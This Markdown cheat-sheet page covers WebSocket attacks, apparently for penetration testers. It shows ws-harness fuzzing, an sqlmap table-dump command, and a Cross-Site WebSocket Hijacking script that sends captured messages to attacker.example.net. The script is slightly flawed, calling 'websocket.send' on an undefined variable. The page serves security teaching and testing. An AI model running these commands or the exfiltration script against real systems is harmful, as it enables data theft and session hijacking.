67 lines
2.5 KiB
Markdown
67 lines
2.5 KiB
Markdown
# Web Sockets Attacks
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> The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server
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## Summary
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* [Tools](#tools)
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* [Using ws-harness.py](#using-ws-harness-py)
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## Tools
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* [ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
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## Using ws-harness.py
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Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.
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```powershell
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python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
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```
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The content of the message should contains the **[FUZZ]** keyword.
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```json
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{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}
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```
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Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.
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```python
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sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
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```
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## Cross-Site WebSocket Hijacking (CSWSH)
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If the WebSocket handshake is not correctly protected using a CSRF token or a
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nonce, it's possible to use the authenticated WebSocket of a user on an
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attacker's controlled site because the cookies are automatically sent by the
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browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).
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Example exploit, hosted on an attacker's server, that exfiltrates the received
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data from the WebSocket to the attacker:
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```html
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<script>
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ws = new WebSocket('wss://vulnerable.example.com/messages');
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ws.onopen = function start(event) {
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websocket.send("HELLO");
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}
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ws.onmessage = function handleReply(event) {
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fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
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}
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ws.send("Some text sent to the server");
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</script>
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```
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You have to adjust the code to your exact situation. E.g. if your web
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application uses a `Sec-WebSocket-Protocol` header in the handshake request,
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you have to add this value as a 2nd parameter to the `WebSocket` function call
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in order to add this header.
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## References
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- [HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019](https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/)
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- [Hacking with WebSockets - Qualys - Mike Shema, Sergey Shekyan, Vaagn Toukharian](https://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdf)
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- [Mini WebSocket CTF - January 27, 2020 - Snowscan](https://snowscan.io/bbsctf-evilconneck/#)
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